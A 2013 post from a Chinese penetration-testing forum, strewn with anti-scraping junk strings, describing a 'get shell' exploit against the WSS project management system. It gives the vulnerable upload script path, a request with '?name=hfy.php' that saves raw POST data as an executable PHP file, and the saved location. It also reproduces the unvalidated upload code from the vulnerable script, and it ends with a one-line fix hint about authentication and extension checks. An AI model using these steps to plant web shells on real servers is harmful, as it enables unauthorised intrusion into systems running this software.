中国网络渗透测试联盟
标题:
WSS项目管理系统Post get shell
[打印本页]
作者:
admin
时间:
2013-2-23 12:38
标题:
WSS项目管理系统Post get shell
POST 数据漏洞文件执行任意后缀文件保存
) g$ l& c: o5 a" c0 O
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
: T8 ^( d" d( r& s9 e
7 W# [; l) {: f( h
利用：
) r' v1 @$ f, z8 l
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
9 D. U' k9 m) \$ Y
$ E" h. M$ J! E! p
Post任意数据
! p: {) W1 \9 l6 f9 _0 D
保存位置http://localhost/chart/tmp-upload-images/hfy.php
1 o2 v. m" e. y$ O, }$ @) R( y
[attach]201[/attach]
% A8 K1 g3 d5 c4 c8 `
[attach]202[/attach]
! _; o7 g% e+ _1 {. Y
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
2 r1 m: F# E5 u# u0 T( ]
% D) f5 N! s- U# w3 L& x
<?php
& K) m, b: C" s) D" t
. N" v, V& a9 o1 Y/ z% i4 ~
//
( M* I0 u9 m3 _6 w+ y. l N
// In Open Flash Chart -> save_image debug mode, you
( O5 |2 w, p2 |
// will see the 'echo' text in a new window.
5 z, d. V' g- j! ^# W8 _
//
$ p5 \3 P" Y' |# |! g' d# ]& c5 ~
- S+ P. k" n1 E: K$ F c# F
/*
0 ^2 v' N5 a8 a! {
0 f' c* z- P% U+ m A
print_r( $_GET );
' T* t' D W. W! K y- ]. `
print_r( $_POST );
N. R) W X* ^% a, @6 q2 A: @, P3 M
print_r( $_FILES );
( e+ ^- Y% }. R% } T
7 d1 a# z/ c& B# v* u+ k" n
print_r( $GLOBALS );
( }( a6 [8 R) r$ s6 [! k
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
0 t2 F' f' Z' [8 s
2 I. ]! I( U' z' b! _' D+ R8 \; n
*/
4 ^9 k5 ?, w! P( Q5 ]* R
// default path for the image to be stored //
% e" B6 j/ C5 y
$default_path = '../tmp-upload-images/';
3 P6 E9 Q* d2 Y' e/ g. s
& y! e: t5 m& |# m
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
/ t: f8 y9 m- J# g
, @) t1 w2 e+ i" x+ K
// full path to the saved image including filename //
5 ?/ V" _9 I. a& J) u
$destination = $default_path . basename( $_GET[ 'name' ] );
+ y, O B R. F! _+ V0 y! x
2 g# v6 ~3 Y6 d, w/ ~
echo 'Saving your image to: '. $destination;
L! j$ i( x& {/ E( N8 ~" v
// print_r( $_POST );
L8 m/ C: e, n% n& Y5 O+ W
// print_r( $_SERVER );
) E( i+ o1 A7 L4 T: B% A2 T
// echo $HTTP_RAW_POST_DATA;
$ W: X8 [5 w6 O( Y. u2 ^, g
( B, b* i8 `$ T2 C- n: P) s- ]
//
0 y2 v% O9 U/ N/ F5 B
// POST data is usually string data, but we are passing a RAW .png
2 r* O5 m$ {/ i$ s6 B* `
// so PHP is a bit confused and $_POST is empty. But it has saved
6 K+ A1 d! u" Z' T
// the raw bits into $HTTP_RAW_POST_DATA
8 q1 h4 A7 K. u6 H! y/ F& W9 l
//
+ x# z- q$ t, g
7 Z: i2 n1 z0 o$ S. M
$jfh = fopen($destination, 'w') or die("can't open file");
0 g. P& @# N5 X) l
fwrite($jfh, $HTTP_RAW_POST_DATA);
; a+ Y: }7 d& S; n3 q
fclose($jfh);
8 Z- a* X* C5 l& \ W
# R1 t! v+ |2 M/ i/ M3 ]% d
//
/ Q% k+ r; ~; O
// LOOK:
/ E6 h3 W5 ]) X# ]% c
//
/ l" @/ v# |1 @
exit();
' G, S K; P) [ I
//
0 X. ]. ?5 y; F" n9 l' l' K F
// PHP5:
" j1 T) c( M1 B1 \9 Q/ {
//
! I/ i# h9 x; z6 c# \: X: l
+ K, z" b& n# F, c% Y
" M1 w6 Y a2 S& Z; `( b
// default path for the image to be stored //
0 Z$ }, ]" G- J! `
$default_path = 'tmp-upload-images/';
7 x+ u' r1 a. b C8 R _ f
5 W# p) \ h* V8 \
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
! h/ K2 J: J( C! l
3 Y) H, f! E: y# J
// full path to the saved image including filename //
3 b w- P4 i S0 |
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
2 ~/ T5 k* C' C8 @# E
, S$ w+ I- w. G3 [7 ^$ {; \
// move the image into the specified directory //
: {( A S' e; H3 V3 t
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
; W E- ^4 i' X: @7 ~0 W) u9 t
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
Z/ ~' w' L6 f& u" Z
} else {
+ g7 d) s* C3 Q. C7 _: G
echo "FILE UPLOAD FAILED";
% g2 h# | k5 L7 b; Z! I
}
; A. y" m1 Y. `+ F( ~/ z2 K
0 P" ^% o& C+ l" K
0 Z- P! _. A2 M, s% X2 t5 y
?>
' I- B& [1 T8 f8 H
1 z; t4 D6 c4 l0 b
$ @0 a% v: e1 n; c9 z# s' e
* |" k v; \0 c
$ t) x1 N2 ?- y
[attach]203[/attach]
: p: ]7 L S6 P- s! Y$ L
- p, u! h m. H8 I' m
修复方案：
. {- O, v1 a A( ?: ?" M( l
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
9 F5 O2 N8 r2 V
( l7 R9 p' w/ M9 O' U8 z3 m$ A
3 r' s1 V4 j/ h* @1 O2 D/ T
7 g; k( A) ? @% H5 g
6 N; a& x4 [! w
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2